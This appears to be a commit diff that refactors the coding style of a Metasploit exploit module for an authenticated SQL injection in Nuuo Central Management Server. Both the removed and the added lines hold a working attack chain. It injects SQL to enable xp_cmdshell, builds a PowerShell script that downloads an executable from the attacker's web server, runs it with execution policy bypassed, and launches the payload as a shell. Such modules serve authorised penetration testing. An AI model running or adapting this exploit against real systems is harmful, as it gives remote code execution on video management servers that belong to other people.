@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => " Nuuo Central Management Authenticated SQL Server SQLi" ,
15
+ 'Name' => ' Nuuo Central Management Authenticated SQL Server SQLi' ,
16
16
'Description' => %q{
17
17
The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
18
18
This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
@@ -42,7 +42,7 @@ def initialize(info={})
42
42
[ 'Nuuo Central Management Server <= v2.10.0' , { } ] ,
43
43
] ,
44
44
'Privileged' => false , # we run as NETWORK_SERVICE
45
- 'DisclosureDate' => " Oct 11 2018" ,
45
+ 'DisclosureDate' => ' Oct 11 2018' ,
46
46
'DefaultTarget' => 0 ) )
47
47
register_options (
48
48
[
@@ -53,7 +53,7 @@ def initialize(info={})
53
53
54
54
55
55
def inject_sql ( sql , final = false )
56
- sql = [ " GETOPENALARM" , "DeviceID: #{ rand_text_numeric ( 4 ) } " , "SourceServer: ';#{ sql } ;-- " , "LastOne: #{ rand_text_numeric ( 4 ) } " ]
56
+ sql = [ ' GETOPENALARM' , "DeviceID: #{ rand_text_numeric ( 4 ) } " , "SourceServer: ';#{ sql } ;-- " , "LastOne: #{ rand_text_numeric ( 4 ) } " ]
57
57
if final
58
58
nucs_send_msg_async ( sql )
59
59
else
@@ -63,12 +63,11 @@ def inject_sql(sql, final = false)
63
63
64
64
# Handle incoming requests from the server
65
65
def on_request_uri ( cli , request )
66
- #print_status("on_request_uri called: #{request.inspect}")
67
- if ( not @pl )
66
+ unless @pl
68
67
print_error ( "A request came in, but the payload wasn't ready yet!" )
69
68
return
70
69
end
71
- print_good ( " Sending the payload to CMS..." )
70
+ print_good ( ' Sending the payload to CMS...' )
72
71
@exe_sent = true
73
72
send_response ( cli , @pl )
74
73
end
@@ -85,28 +84,21 @@ def create_hex_cmd(cmd)
85
84
def exploit
86
85
nucs_login
87
86
88
- if @nucs_session == nil
89
- fail_with ( Failure ::Unknown , " Failed to login to Nuuo CMS" )
87
+ unless @nucs_session
88
+ fail_with ( Failure ::Unknown , ' Failed to login to Nuuo CMS' )
90
89
end
91
90
92
- downfile = rand_text_alpha ( 8 +rand ( 8 ) )
93
91
@pl = generate_payload_exe
94
92
@exe_sent = false
95
- resource_uri = '/' + downfile
93
+ resource_uri = "/ #{ rand_text_alpha ( 8 .. 16 ) } "
96
94
97
95
#do not use SSL
98
96
if datastore [ 'SSL' ]
99
97
ssl_restore = true
100
98
datastore [ 'SSL' ] = false
101
99
end
102
100
103
- if ( datastore [ 'SRVHOST' ] == "0.0.0.0" or datastore [ 'SRVHOST' ] == "::" )
104
- srv_host = Rex ::Socket . source_address ( rhost )
105
- else
106
- srv_host = datastore [ 'SRVHOST' ]
107
- end
108
-
109
- service_url = 'http://' + srv_host + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
101
+ service_url = "http://#{ srvhost_addr } :#{ srvport } #{ resource_uri } "
110
102
print_status ( "Starting up our web service on #{ service_url } ..." )
111
103
start_service ( { 'Uri' => {
112
104
'Proc' => Proc . new { |cli , req |
@@ -120,24 +112,29 @@ def exploit
120
112
# we need to roll our own here instead of using the MSSQL mixins
121
113
# (tried that and it doesn't work)
122
114
print_status ( "Enabling xp_cmdshell and asking CMS to download and execute #{ service_url } " )
123
- filename = rand_text_alpha_lower ( rand ( 8 ) + 2 ) + ".exe"
124
- download_pl = %{xp_cmdshell 'cd C:\\ windows\\ temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{ service_url } " >> wget.ps1 && echo $file = "#{ filename } " >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
125
-
126
- print_status ( "Injecting PowerShell payload" )
115
+ filename = "#{ rand_text_alpha_lower ( 8 ..10 ) } .exe"
116
+ download_pl = %{xp_cmdshell }
117
+ download_pl << %{'cd C:\\ windows\\ temp\\ && }
118
+ download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && }
119
+ download_pl << %{echo $url = "#{ service_url } " >> wget.ps1 && }
120
+ download_pl << %{echo $file = "#{ filename } " >> wget.ps1 && }
121
+ download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && }
122
+ download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
123
+
124
+ print_status ( 'Injecting PowerShell payload' )
127
125
inject_sql ( "exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd ( download_pl ) )
128
126
129
127
counter = 0
130
128
while ( not @exe_sent || counter >= datastore [ 'SLEEP' ] )
131
- sleep 1
129
+ Rex . sleep ( 1 )
132
130
counter += 1
133
131
end
134
132
135
- if not @exe_sent
136
- fail_with ( Failure ::Unknown , " Could not get CMS to download the payload" )
133
+ unless @exe_sent
134
+ fail_with ( Failure ::Unknown , ' Could not get CMS to download the payload' )
137
135
end
138
136
139
- print_status ( " Executing shell..." )
137
+ print_status ( ' Executing shell...' )
140
138
inject_sql ( create_hex_cmd ( "xp_cmdshell \" cmd /c C:\\ windows\\ temp\\ #{ filename } \" " ) , true )
141
- handler
142
139
end
143
140
end
0 commit comments